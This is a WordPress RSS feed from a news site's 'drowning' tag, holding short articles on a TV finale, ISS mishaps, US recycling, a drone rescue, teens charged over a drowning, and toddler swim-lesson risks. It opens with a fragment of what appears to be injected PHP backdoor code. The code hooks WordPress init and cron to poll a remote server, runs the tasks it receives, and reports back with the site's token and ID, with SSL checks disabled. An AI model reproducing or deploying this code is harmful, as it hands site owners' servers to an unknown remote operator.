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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); drowning – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 05 Feb 2021 00:00:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png drowning – Brief News https://briefnews.eu 32 32 The Drowning: Channel 5 viewers rage over series finale after ‘preposterous’ twist ‘Farce’ https://briefnews.eu/the-drowning-channel-5-viewers-rage-over-series-finale-after-preposterous-twist-farce/ https://briefnews.eu/the-drowning-channel-5-viewers-rage-over-series-finale-after-preposterous-twist-farce/#respond Fri, 05 Feb 2021 00:00:21 +0000 https://briefnews.eu/the-drowning-channel-5-viewers-rage-over-series-finale-after-preposterous-twist-farce/

Taking to Twitter, one fan said: “#TheDrowning Well this is all very silly.”

“This ending is a bit disappointing I can’t lie #TheDrowning,” added a second, while a third echoed: “The ending is garbage, I’m just enjoying the scenery #TheDrowning.”

“Wow, 4 hours wasted [face palm emoji] #TheDrowning,” vented a fourth viewer, with a fifth weighing in: “#TheDrowning it’s become a farce.”

There was some support, however, as another added to the debate: “Well there were very few predictions I got right in this one until the last one. Great plot #TheDrowning.”

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]]> https://briefnews.eu/the-drowning-channel-5-viewers-rage-over-series-finale-after-preposterous-twist-farce/feed/ 0 Alien bacteria & a drowning Italian: 5 craziest things from first 20 years on the ISS https://briefnews.eu/alien-bacteria-a-drowning-italian-5-craziest-things-from-first-20-years-on-the-iss/ https://briefnews.eu/alien-bacteria-a-drowning-italian-5-craziest-things-from-first-20-years-on-the-iss/#respond Wed, 21 Nov 2018 07:12:57 +0000 http://briefnews.eu/alien-bacteria-a-drowning-italian-5-craziest-things-from-first-20-years-on-the-iss/ Life in space isn’t all taking Earth selfies and sitting on a stationary bike. In honor of the 20th anniversary of Russia’s launch of the first International Space Station module – here are the oddest stories from orbit.

Italian astronaut Luca Parmitano nearly drowns – inside his spacesuit

On a list of horror scenarios for an astronaut, seeing your helmet fill up with liquid as you dangle helplessly attached to a space station traveling at 26,600 km/h per hour must rank near the top.

This is exactly what happened to ESA first-timer Luca Parmitano during a spacewalk on July 16, 2013 when coolant leaked into his air supply.

Here he is describing the experience he compared to being “a goldfish inside a fishbowl” – as he realizes floating water particles are gluing themselves to his eyeballs and going up his nostrils.

“I feel it covering the sponge on my earphones and I wonder whether I’ll lose audio contact. The water has also almost completely covered the front of my visor, sticking to it and obscuring my vision,” said the Italian in a space transmission. “The water covers my nose — a really awful sensation that I make worse by my vain attempts to move the water by shaking my head.”

“By now, the upper part of the helmet is full of water and I can’t even be sure that the next time I breathe I will fill my lungs with air and not liquid.”

Almost blinded and deafened, Parmitano climbed back into the airlock by feel, into the arms of the rest of the terrified crew.

Either strong of nerve, or maybe because he was an aquanaut before he was an astronaut, Parmitano will return to the ISS in July next year, and will subsequently command Expedition 61.

Extraterrestrial life forms are found on the outer surface – or are they?

“These bacteria were not on the module when it left Earth,” revealed Russian cosmonaut Anton Shkaplerov in November 2017, after samples collected from the hull of the ISS were analyzed back on Earth.

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“That is, they have come from outer space and settled along the external surface. They are being studied so far and it seems that they pose no danger,” continued the cosmonaut to a million bemused “Uh huhs.”

Not everyone was convinced. Skeptics claim that the microorganisms may have been the result of contamination, forced up into orbit – over 200 miles above the surface – by atmospheric phenomena.

READ MORE: Earth must strengthen its defenses against mutant space bacteria – Russian scientists

But Shkalperov’s suggestions are not nonsense to whet the appetite of UFO hunters – recent research suggests that space dust carrying microorganisms may have started life on Earth itself billions of years ago.

But something weird is also growing inside the ISS

Likely the most significant research conducted at the station over the past two decades is concerned with how the human body copes with prolonged exposure to space and weightlessness – a necessary prerequisite for any future mission to Mars and beyond.

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But perhaps the most puzzling scientific finding at the ISS has been the flatworm that spent five weeks in space last year. Upon its return to Tufts University in Massachusetts researchers discovered that the worm had developed an incredibly rare two-headed mutation. Its genetically identical other half (flatworms are able to grow after being sliced apart), which had spent the time back in the lab, remained completely normal.

Now, scientists are pondering what exactly is forcing these mutations in space. And the answer may be relevant not only to our invertebrate brethren, but also the very space colonists who plan to venture beyond the solar system.

Who drilled the hole into space?

Sometimes the cover-up is worse than the original misdemeanor, even as the actual 2 mm diameter hole discovered on the Soyuz module at the ISS in August was patched over in just minutes.

But the fact that it was there in the first place multiplied by terrestrial tensions between Moscow and Washington created a genuine incident.

READ MORE: Inspection of mysterious ISS hole shelved as spacewalks suspended after botched Soyuz launch

Why was the hole initially reported as a meteor strike? When was it drilled? And by whom? Was this honest oversight, or perhaps a refusal to admit sloppy work with a drill, or an act of disgruntled revenge? Is there more damage yet to be discovered? From Baikonur engineers to American astronauts, everyone is a suspect, and nearly three months later, a high-powered investigation is still ongoing.

Major Tom to Ground Control

We know that they are doing this out of a public service duty to popularize space exploration, but ISS crew members appear to have an inordinate amount of time to indulge their artistic hobbies. From creating video blogs, to playing the bagpipes, to taking some of the best photos (not) on Earth.

But still nothing has topped the viral impact and artistic perfection of melancholy-mustachioed NASA Commander Chris Hadfield performing David Bowie’s Space Oddity in 2013 while longingly looking out of an actual spaceship.

Now, some might say it is an obvious choice, but just look at his tear-filled eyes. He really knows what it’s like in space, so cold and beautiful and unknowable. And over the last 20 years, we feel like we almost do too.

Igor Ogorodnev

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]]> https://briefnews.eu/alien-bacteria-a-drowning-italian-5-craziest-things-from-first-20-years-on-the-iss/feed/ 0 Trash wars: US drowning in its own waste, blaming China for rejecting ‘recycled commodities’ https://briefnews.eu/trash-wars-us-drowning-in-its-own-waste-blaming-china-for-rejecting-recycled-commodities/ https://briefnews.eu/trash-wars-us-drowning-in-its-own-waste-blaming-china-for-rejecting-recycled-commodities/#respond Fri, 13 Jul 2018 00:17:38 +0000 http://briefnews.eu/trash-wars-us-drowning-in-its-own-waste-blaming-china-for-rejecting-recycled-commodities/ Hundreds of tons of waste that Americans believed they were recycling is now piling up in processing plants or being dumped into landfills, as China’s decision to stop buying garbage for environmental reasons begins to bite.

Beijing’s 2017 decision to ban imports of 24 varieties of trash brought to light the real destination of most Western recyclables: They were shipped to Chinese factories, where they would be cleaned up and repurposed into raw materials. China bought half of all US scrap last year, and has recycled 72 percent of all the world’s plastic since 1992, according to a study in the journal Science Advances.

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All of that abruptly came to a halt when China decided to stop almost all imports of paper and plastic waste, and have set a .5 percent ceiling on contaminants in cardboard and metal waste, which most US trash processing plants have been unable to meet.

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“There is no single and, frankly, probably not even a group of countries, that can take in the volume that China used to take,” Adina Renee Adler, of the Institute of Scrap Recycling Industries in Washington, DC told AFP. “The biggest issue here is that China just gave very little time for the industry to transition.”

Garbage previously shipped to China is now piling up in places like the processing plant in Elkridge, Maryland, where tons of trash arrive every day from the US capital. The District is already paying $ 75-a-ton for recycling, and only $ 46-per-ton for garbage that is being burned to generate electricity.

“There was a time a few years ago when it was cheaper to recycle. It’s just not the case anymore,” said Christopher Shorter, director of public works for Washington, DC. The city is reportedly thinking of charging residents for garbage by weight.

Bill Caesar, head of the Houston, Texas-based waste company WCA, has warned that Americans are “going to have to start paying more for the privilege of recycling.”

The US has very little domestic capability to process and recycle waste, having become used to literally shipping it overseas for decades. One conservative columnist pointed to the pileup as proof that recycling has been a scam all along.

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“The dirty secret of recycling is that it depended on the willingness of Third World countries to greenwash our trash so that progressives could pretend that their moral garbage was saving the planet,” Daniel Greenfield wrote in Front Page magazine on Thursday.

Complicating matters further is the ongoing trade war between Washington and Beijing. The Trump administration has imposed tariffs on a number of Chinese imports, with China responding in kind.

In March, the US delegation to the World Trade Organization demanded that Beijing continue buying up US waste.

“China’s import restrictions on recycled commodities have caused a fundamental disruption in global supply chains for scrap materials, directing them away from productive reuse and toward disposal,” a US spokesperson pointed out at the WTO session in Geneva, demanding that “China immediately halt implementation and revise these measures in a manner consistent with existing international standards for trade in scrap materials.”

Beijing responded by announcing it would stop buying 32 additional varieties of waste.

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]]> https://briefnews.eu/trash-wars-us-drowning-in-its-own-waste-blaming-china-for-rejecting-recycled-commodities/feed/ 0 Weight loss: Size XXXL woman lost ten stone with simple trick after nearly DROWNING https://briefnews.eu/weight-loss-size-xxxl-woman-lost-ten-stone-with-simple-trick-after-nearly-drowning/ https://briefnews.eu/weight-loss-size-xxxl-woman-lost-ten-stone-with-simple-trick-after-nearly-drowning/#respond Sat, 10 Mar 2018 13:05:53 +0000 http://briefnews.eu/weight-loss-size-xxxl-woman-lost-ten-stone-with-simple-trick-after-nearly-drowning/

Weight loss can be difficult for people who are overweight, battling unhealthy diets and a lack of exercise.

Yet one young woman from Los Angeles turned her life around after realising something had to change.

Dominique Montgomery, 22, from California used to fit into XXXL clothing after binge eating fast food and takeaways.

It wasn’t until she nearly died that she realised something had to change.

In 2015, Dominique got into trouble when swimming at the beach and the tide began to rise. She explained: “All of a sudden, the tide got high.

“Everyone managed to push themselves out of the water onto some rocks, but I was stuck, because I wasn’t physically able to lift myself out.

“Everyone tried to help, but I was too heavy. “I thought I was going to die and had no idea what to do. I was terrified.”

Despite realising something needed to change, she admitted to struggling with dieting since the age of five.

The 22-year-old admitted: “I couldn’t control how much I ate. I’d eat past feeling full, like my mind had to be satisfied before I’d stop.”

Her portions exceeded the healthy recommendations, eating “at least 5,000 calories a day”.

After the incident in the sea, she began building up her stamina by going on long walks, before trying jogging and hiking after becoming fitter.

She also ditched the fizzy drinks and fatty takeaways and since lost over 10 stone and fits into a size 8 to 10.

However, a side effect of the weight loss means she has a large amount of excess skin on her stomach, arms and thighs which could cost thousands to remove.

Dominique is now crowdfunding to try to raise the money for the operation, as she states that exercise such as jumping jacks are now “painful”.

Despite this, she offers advice to others who want to try and lose weight and uses her story to encourage them to keep going.

She said: “You will have ups and downs – there have been days where I messed up, but I didn’t lose sight of the overall goal.

“Belief, acceptance, patience and willpower – they really get you somewhere.”

Another young woman lost half her body weight by cutting out her crisps habit.

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  • A drone helped lifesavers rescue two people from drowning in Australia. 
  • Two teenage boys were swimming away from safety flags in heavy surf when they were spotted. 
  • According to the deputy state premier, this is the world’s first drone ocean rescue.

Surf lifesavers in Lennox Head, a a coastal area in New South Wales, Australia, have pioneered the use of drones to help rescue two people in danger of being swept out to see and drowning.

The two teenage boys were swimming about 1km (0.6 miles) away from the flags in heavy surf with a three-metre (9.8 foot) swell when they were spotted by a member of the public who saw they were in trouble and called lifeguards at around 11.30am Thursday.

As it so happened, the lifeguards were gathered on the beach for a training session involving the “Little Ripper drone” as part of a $ 430,000 trial by the state government involving drone technology – which is also being used in the region to spot sharks in the surf – announced last month.

The boys were the lucky that the 2017 NSW Lifeguard of the Year, Jai Sheridan, happened to be there running the drone class and immediately launched the “Little Ripper” drone towards them.

It took just 70 seconds before it dropped an inflatable rescue pod into the water beside the swimmers, who were then able to make their way to shore unaided where they were met by lifeguards, fatigued, but otherwise uninjured.

Deputy Premier John Barilaro said the investment had already paid for itself with the “world’s first rescue”. He was there as it happened along with the Primary Industries Minister Niall Blair and Parliamentary Secretary for Northern NSW Ben Franklin.

“Never before has a drone, fitted with a flotation device been used to rescue swimmers like this,” Barilaro said.

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]]> https://briefnews.eu/lifesavers-just-used-a-drone-to-rescue-two-people-in-danger-of-drowning/feed/ 0 Charges filed against Florida teens who recorded & taunted drowning disabled man https://briefnews.eu/charges-filed-against-florida-teens-who-recorded-taunted-drowning-disabled-man/ https://briefnews.eu/charges-filed-against-florida-teens-who-recorded-taunted-drowning-disabled-man/#respond Sat, 22 Jul 2017 02:56:47 +0000 http://briefnews.eu/charges-filed-against-florida-teens-who-recorded-taunted-drowning-disabled-man/ A group of teenagers who filmed and taunted a drowning man in a lake are now facing criminal charges for not reporting his death. Authorities are also pushing for legislation that would allow them to prosecute similar cases in the future.

On Friday, the Cocoa Police Department (CPD), in conjunction with the Florida State Attorney’s Office, announced they are pursuing criminal charges against the five teens under a little known Florida Statute that in short requires a person to report a death.

CPD Chief Mike Cantaloupe said the day after the police found that the teens had not broken any laws, they conducted further research with the state attorney’s office, which “yielded the decision to move forward with charges under this statute.”

“It’s our belief that this law has never been enforced in a scenario like this, but we feel it could be applicable,” Cantaloupe said in a statement.

Under Florida Statute 406.12, any person who “becomes aware of the death of any person” is required to “report such death and circumstances forthwith to the district medical examiner.” Anyone who fails to report a death can be charged with a first-degree misdemeanor.

Cocoa Mayor Henry Parrish also released a statement, imploring the state attorney to “follow through and file the charges presented by the Cocoa Police Department!”

“If this case can be used as an example to draft new legislation, then I am committed to move forward to make that happen,” Parrish added.

On July 9, a group of teens in Bracco Park witnessed Jamel Dunn, 31, drowning in Bracco Pond. Rather than help him or call the authorities, they laughed and mocked him as a cell phone camera captured his slow death.

“He started to struggle and scream for help and they just laughed. They didn’t call the police. They just laughed the whole time. He was just screaming… for someone to help him,” Yvonne Martinez, spokeswoman for the Cocoa Police Department, told the Washington Post.

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On Friday, police said a neighbor’s home security camera showed Dunn scaling a fence and going into the water “willingly and on his own.”

“Regardless of the circumstances surrounding his decision to enter the water that day, there is absolutely no justification for what the teens did,” Cantaloupe added. “Pursuing criminal charges is a way to hold them accountable for their own actions.”

Dunn’s fiancée filed a missing persons report on July 12 but Dunn’s “badly decomposed” remains were not discovered until July 14, five days after the teens filmed the incident.

In a media briefing Friday, Cantaloupe said the case comes down to a “moral issue.”

“It’s hard to believe that somebody could watch another human being, whether it be in distress, whether it be what happened, and not do something or at least not notify somebody that you’re trying to get help,” Cantaloupe said. “I mean, I want to think that’s a natural instinct for any of us, that if we saw somebody in trouble or somebody having an issue that we would at least try to get them help.”

Cantaloupe added he would also like to see lawmakers enact legislation that would allow them to prosecute similar cases in the future.

“I would like to something that when there is a horrific case or something of this magnitude that there would be some sort of legislation or some sort of law that would require the reporting to law enforcement or to somebody,” Cantaloupe said.

Cantaloupe did not provide the names or any other information about the teens, only saying they were between the ages of 14 and 16. He did not believe that any of them had any prior criminal record.

Cantaloupe said that when detectives brought the teens in and talked to them “there wasn’t a lot of remorse” among one or two of them. However, he said that all the parents were “very disturbed” and “overly concerned.”

Cantaloupe said charging document will be sent to the state a along with the case report and video evidence for a review and determination if the charges will be prosecuted. He added that it could take a few weeks for the state attorney to officially set the charges.

Dunn’s family set up a GoFundMe campaign to cover his funeral expenses. As of Friday afternoon, the crowdfunding page has received over $ 25,000 from nearly 800 people in four days.

In a Facebook post, Simone Scott, who identified herself as Dunn’s sister, said that the funds will be used to support the mothers of his two young daughters, ages 6 and 7.

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She also said that some of the funds will be used to support a petition on Change.org, calling on Governor Rick Scott (R) to introduce legislation entitled “Dunn’s right to Duty.” Scott said that the law would “keep his name alive and to turn something negative into something positive and prevent other senseless acts and crimes from happening.”

As of Friday, the petition has gathered more than 500 signatures so far.

“I don’t know if there’s any just outcome to this. There’s nothing that’s going to replace somebody’s life,” Cantaloupe said. “We don’t want another family to have to go through what the Dunn family has went through.”

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]]> https://briefnews.eu/charges-filed-against-florida-teens-who-recorded-taunted-drowning-disabled-man/feed/ 0 Swim lessons won’t keep your toddler from drowning — in fact, they could increase the risk https://briefnews.eu/swim-lessons-wont-keep-your-toddler-from-drowning-in-fact-they-could-increase-the-risk/ https://briefnews.eu/swim-lessons-wont-keep-your-toddler-from-drowning-in-fact-they-could-increase-the-risk/#respond Sun, 25 Jun 2017 08:25:25 +0000 http://briefnews.eu/swim-lessons-wont-keep-your-toddler-from-drowning-in-fact-they-could-increase-the-risk/ toddler child swimmingMy son has almost drowned twice, and both times, it was my fault. He had been frolicking in the shallow end for 45 minutes in both cases. Then I got distracted for a minute, and when I glanced back, he was gone.

There were multiple people in the pool with him each time, some within a couple of feet, a few of them relatives—and nobody saw that he had drifted back to where the water deepened and had sunk below the surface. The only reason I noticed was because when I looked for him, he wasn’t there.

These two experiences are among the most traumatic of my life—I still have nightmares—and they were pretty scary for him, too. Thankfully, he was fine, at least physically. But the incidents proved to me that drowning kids don’t call for help; they don’t kick or splash. They just sink and quietly disappear.

More American kids die today from drowning than from car accidents, making drowning the leading cause of injury death in kids ages 1 to 4. Even when kids survive a near-drowning, as many as 10 percent suffer permanent neurological damage.

My son took group swim lessons after the first incident. But after the second, I signed him up for private lessons. The absolute best way to prevent him from drowning, I surmised, was to ensure that he learned basic swim skills.

I was wrong. As I discovered when I dug into the literature on childhood drowning, the idea that swim lessons prevent drowning, especially in young kids, is a dangerous one—”part of the problem, not the solution,” says Kevin Moran, a longtime lifeguard and drowning researcher at the University of Auckland in New Zealand.

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The American Academy of Pediatrics takes a more conservative stance, but it, too, argues that there is not enough evidence to recommend swim lessons for young kids.* A single, small US study suggests that swim lessons make drowning less likely, but they aren’t even close to a panacea, and the notion that knowing how to swim keeps kids safe can paradoxically put children even more at risk.

I know what I’m saying is sacrilege to many readers; research suggests that 68 percent of parents think it best to start swim lessons before a child turns 3, and more than half think swim lessons are the best way to prevent drowning in toddlers. Our local gym has waitlists for infant and toddler classes, and its website touts that the classes teach kids “water safety,” which any reasonable parent would take to mean “drowning prevention.”

The American Red Cross states that “the best thing you can do to help your family stay safe is to enroll in age-appropriate swim lessons,” which it starts offering at the tender age of 6 months. Yet the statistics are clear: Swim skills are simply not enough. Two-thirds of kids who drown, believe it or not, are excellent swimmers.

The fact is, young kids don’t learn survival skills in regular swim classes, in part because they can’t. “Mostly, what these lessons do is prepare the child for swimming by making them comfortable in the water—getting their face wet, going under the water—and teaching them some rudimentary skills,” says Barbara Morrongiello, a professor at the University of Guelph in Canada who studies parent safety practices and drowning prevention.

There’s nothing wrong with this; if classes foster a love for water play and swimming, that’s great. What’s bad are parents’ assumptions that the classes do more. “Swimming programs for youngsters under 4 shouldn’t really be considered a drowning prevention strategy,” Morrongiello explains.

That’s because the ability to survive a near-drowning typically requires more than just the types of water skills that keep children afloat in normal swim situations. Kids might drown because they’re really tired, have gotten a muscle cramp, or have been injured during water play—and they need to learn what to do in these specific situations to stay safe. Children are also especially at risk after falling into water fully clothed, because clothes make swimming more difficult. Cold water has the same effect.

And then there’s the need for panicked, near-drowning kids to stay calm and focused enough to swim to safety and to be able to hold their breath for more than a few seconds, which wee ones can’t usually do. “Swimming competency is but one of the many physical and cognitive competencies needed to prevent drowning,” Moran explains.

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In other words, knowing the crawl typically doesn’t suffice. (A note to anyone wondering about those viral videos that show babies can be trained to be “drown-proof”: Read this, please. Those videos and claims are dangerous.)

Making matters worse, research suggests that swim lessons can cause parents to become overconfident about their kids’ abilities and watch them less carefully. In a 2014 study, Morrongiello and her colleagues regularly surveyed parents over eight months as their preschoolers (ages 2 to 5) took swim lessons.

As the kids acquired more lessons, parents began to believe that their kids knew how to keep themselves safe in potentially dangerous water situations—that they were, for instance, good judges of their own swimming ability and knew to stay away from pools when unsupervised, which aren’t things that swim lessons generally teach.

The parents also began to assume that their kids needed less careful watching around water, which isn’t necessarily true, either. (The small study I mentioned above suggesting that swim lessons reduce drowning risk has what are called wide confidence intervals, a statistical sign that it’s impossible to tell just how strong the effect is and that it may vary a lot between kids.)

In another study, Morrongiello and her colleagues asked parents to judge how well their kids had mastered various swim skills in their lessons and found that parents overestimated 1 in every 5 skills. (This overestimation of competence tends to be especially bad among fathers.) Some researchers also worry that when kids have had swim lessons, they, too, will lose their natural fear of water and be more likely to, say, jump into the pool without telling anyone.

Yet the last thing we need is more kids frolicking in the water unsupervised. I’m an obvious teaching example, but many parents are lax observers: In a 2009 study, Moran and his colleagues observed families at the beach and found that 29 percent of parents didn’t adequately supervise their kids under 5, and nearly half didn’t adequately supervise their 5-to-9-year-olds.

Indeed, a national 2004 survey found that 88 percent of US children who drowned were supposedly being watched at the time—but caregivers get distracted. They talk on their cellphones or to other pool-goers; they read; they eat; they sunbathe.

A study of kids who drowned in Washington state found that only 12 percent of preschooler drownings were actually seen by anyone, which suggests that most kids drown with caregivers nearby who are simply not paying close enough attention.

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Another thing to consider about swim lessons in young kids—infants especially—is that exposure to chlorine in pools may heighten the risk of respiratory problems such as wheezing, bronchiolitis, and asthma. And when swimming, kids swallow a whopping four times more water than adults do, which isn’t great, because doing so can cause recreational water illnesses including infections and diarrhea (hopefully not in the pool).

And if they inhale even a little bit of water into their lungs, they can also sustain lung damage. Most of these outcomes are quite rare—I’m not trying to totally freak you out—but they are things to keep in mind when pondering swim lessons for very young children.

Both the American Academy of Pediatrics and the Canadian Paediatric Society do not recommend swim lessons for children under 4, but as of 2010, the AAP doesn’t recommend against them, either, noting that “a parent’s decision about starting swimming lessons or water-survival skills training at an early age must be individualized on the basis of the child’s frequency of exposure to water, emotional maturity, physical limitations, and health concerns related to swimming pools.”*

Morrongiello points out that there are water competency classes that focus more on drowning-prevention skills, such as Canada’s Swim to Survive program, but they target kids third grade and up because young kids don’t have the strength and stamina to reliably use these skills.

I’m not anti–swim instruction, and I’ll continue with my son’s private lessons (he’s 6 now) because I think they’re wonderful for a number of reasons. It’s important for parents to recognize, however, that a child who knows how to swim is not a child who cannot drown.

The AAP recommends that parents remain within touching distance of their kids at all times; I sure wish I had been closer to my son when he went under. The organization also recommends four-sided pool fencing and that parents know CPR. Floaties are great, but they aren’t a talisman, either, because they can get tangled in pool equipment or unstrapped—my sister’s son was once saved by a lifeguard after quietly taking his flotation device off and jumping back into the pool. (And avoid the inflatable ones.)

Bottom line is this: “The only way to ensure your child is not drowning,” Morrongiello says, “is by watching them.”

*Update, June 21, 2017: This article has been revised to clarify the AAP’s current recommendation on swimming lessons for children under age 4.

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It’s time for the second big studio comedy of the summer to hit theaters in the form of Baywatch, the big screen adaptation of the popular TV series from the 1990s that starred David Hasselhoff and Pamela Anderson.

Hitting the beach are Dwayne Johnson and Zac Efron as a couple of musclehead lifeguards who get caught up in some high stakes action and danger. All the trailers have teased an action comedy in the same vein of 21 Jump Street, but if the first Baywatch reviews are any indication, then it’s nowhere near as good, and it barely keeps itself afloat.

Read on for the Baywatch review round-up after the jump.

Owen Gleiberman at Variety doesn’t think the film took the right approach to adapting the TV show:

“Baywatch,” as a series, now looks jaw-droppingly goofy and harmless (actually, it did then too), and the movie would have been smart to satirize the show’s innocuous underworld drama and cheeseball male gaze, playing up the dated absurdity of it all. But no: The film’s director, Seth Gordon (“Identity Thief”), and its screenwriters, Damian Shannon and Mark Swift, have glommed “Baywatch” onto the theme of the moment: namely, that a bunch of good-looking SoCal lifeguards, devoted to keeping their beach a safe cool magical place, are just like — wait for it! — a family.

Steve Rose at The Guardian says the movie fails like many TV show adaptations before it:

Previous movies based on retro TV shows have taught us, the only way to repackage such brand-name yet dated material is with heavy measures of irony and self-satire. And even then they invariably fail: CHiPs, The Dukes of Hazzard, The A-Team, everything except 21/22 Jump Street, basically. This lacklustre comedy heads off in that direction but it doesn’t have the wit or the stamina to stay afloat. By about halfway in, the gags dry up and the story sinks like an overweight tourist who took a dip too early after the all-you-can-eat surf’n’turf buffet.

Frank Scheck at The Hollywood Reporter notes that merely being R-rated isn’t enough to make the movie funny:

That the film’s guiding creative ethos was apparently to push the envelope and go for an “R” rating becomes painfully clear. The endless profusion of F-bombs seems to indicate that the screenwriters must have thought they would be paid per use. The raunchy humor extends to gay panic gags strangely similar to the ones found in the recent, similarly misbegotten CHIPS; Baywatch strains for a vulgarity that never comes remotely close to being funny.

Gav Murphy at IGN compares Baywatch unfavorably to 21 Jump Street:

Before seeing Baywatch, I felt like the whole thing had a lot of promise but unfortunately that’s hidden behind stagnant comedy which has been sold to us under the cheap guise of something recognisable from 25 years ago. 21 Jump Street worked because it was not only an unexpected genre-shift, but a genuinely funny satirical comedy with consistently strong performances and likeable characters, but Baywatch wastes its attractive cast on tired jokes and nothing – not even the element of surprise – on its side.

Matt Goldberg at Collider was also equally unimpressed with Baywatch, writing in this review:

Baywatch, on the other hand, is a comedy in search of an ideology. In the opening scene, it looks like it’s going to be an over the top, gleeful parody with dolphins high-fiving as the title slams down behind Mitch, who’s carrying an injured parasailor to safety. But then the movie will repeatedly to return to the notion that cops, not lifeguards, should be solving the case of drugs leaking into the bay. It doesn’t know if should deflate the bombast of its comedy or go for broke. This leaves it awkwardly standing in the middle ground, clinging to any dick joke it can find for safety.

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Jack Shepherd at The Independent says The Rock is the anchor of Baywatch, but he can’t save the movie:

Despite a relatively funny first third (minus one extended dick joke, but featuring a brilliant title drop), Baywatch falters in the second, eventually collapsing into a firework-filled mess that makes very little sense and treats the audience like idiots. One person, for instance, waves their gun around threateningly for five minutes without firing because of a silly speech, reminiscent of Guardians of the Galaxy’s ‘O-o-h Child’ finale but executed so poorly there’s still a sour taste in my mouth. Even The Rock’s gravitational charm can’t hold the set-piece together.

Brian Truitt at USA Today says the comedy just doesn’t land:

A lot of the humor just doesn’t connect and tries way too hard, from one dude getting his junk stuck in a beach chair to a running gag involving salad. Chopra, whose villainess seems bored by the whole situation, would rather be eviling it up in a James Bond movie, and the fireworks-laden climax is full of punch but leans predictable and lacks excitement.

This flick might be bigger than the original Baywatch — from the production budget to its stars’ muscles — but lacks the cheesy fun.

Chris Nashaway at Entertainment Weekly didn’t hold anything back in his review:

It’s official: we’ve now entered the critical, Code Red phase of Hollywood’s remake epidemic. What seemed to start off as a winking and benign recycling of the pop culture past has mutated into something far more insidious. Ladies and gentlemen, I give you Baywatch — the rare movie that even the Teflon-coated, thousand-watt charisma of Dwayne Johnson can’t save. It’s possible that this sloppy, scattershot nod to ’90s jiggle TV was inevitable. After all, we’d already cycled through such wafer-thin small-screen flotsam as ­Charlie’s Angels, The A-Team, and CHiPs. Freakin’ CHiPs?! But apparently the barrel of disposable retro television properties is as bottomless as Nietzsche’s abyss.

Alonso Duralde at The Wrap calls Baywatch dead on arrival, adding:

A summer franchise movie that can’t decide if it wants to be a hard-R bawdy comedy, a d-bag-comes-of-age tale or a fairly unironic reboot of the glossy TV show (which ran from 1989-2001), “Baywatch” fails at all three, despite the best efforts of the perennially game Johnson and Zac Efron, two performers who have subverted audiences’ assumptions about their limitations and have emerged as solid comic actors. It’s too bad they’re saddled with a film that somehow manages to fail to live up to the low expectations one would have of a movie called “Baywatch.”

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That’s pretty much the general consensus regarding Baywatch. Even the reviews that are being counted positive by Rotten Tomatoes don’t have a lot of nice things to say. There’s praise for Dwayne Johnson doing the best with what he’s given, and one review even calls supporting cast member Jon Bass the breakout star of the film. However, even those reviews note the over abundance of dick jokes with a lack of cleverness in the script and comedy department. There might be some laughs to be had here and there, but otherwise, Baywatch seems like a bit of a dud.

You can find out for yourself when Baywatch arrives just before the weekend on May 25.

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The 41-year-old and three-quarters of the Britain’s Got Talent judging panel, Amanda Holden, Simon Cowell and David Walliams, delighted fans when they all brought their dogs on stage for a spot of Doga, better known as doggy yoga. 

After some heavy breathing and reaching their respective points of zen, the pooches all joyfully played around the set of the London Palladium theatre – except for Ant’s, who lifted his leg and opened the flood gates. 

“We’ll go backstage,” Ant squirmed, as he dragged his puppy away with his head in his paws, though he was in good company as Doga instructor Mahny’s canine urinated all over David Walliams. 

“Who’s dog was that?” snapped the Little Britain comic. “There’s actually wee everywhere.”

Alesha Dixon, who was left alone on the Britain’s Got talent judging panel, was understandably in hysterics while her co-stars frantically chased their pups up and down the London theatre. 

The opening instalment of Britain’s Got Talent was  particularly eventful for Anthony McPartlin, who was also left in floods of tears over a choir with a harrowing backstory. 

What’s more, he was visibly shaken when he was forced to put his neck on the line for an eccentric magician.

Elsewhere, Amanda Holden was fuming when an act called her a “talking dog”, while a 15-year-old singer blew the judges away with a rendition of the Dreamgirls number And I Am Telling You. 

Britain’s Got Talent returns tonight at 8pm on ITV. 

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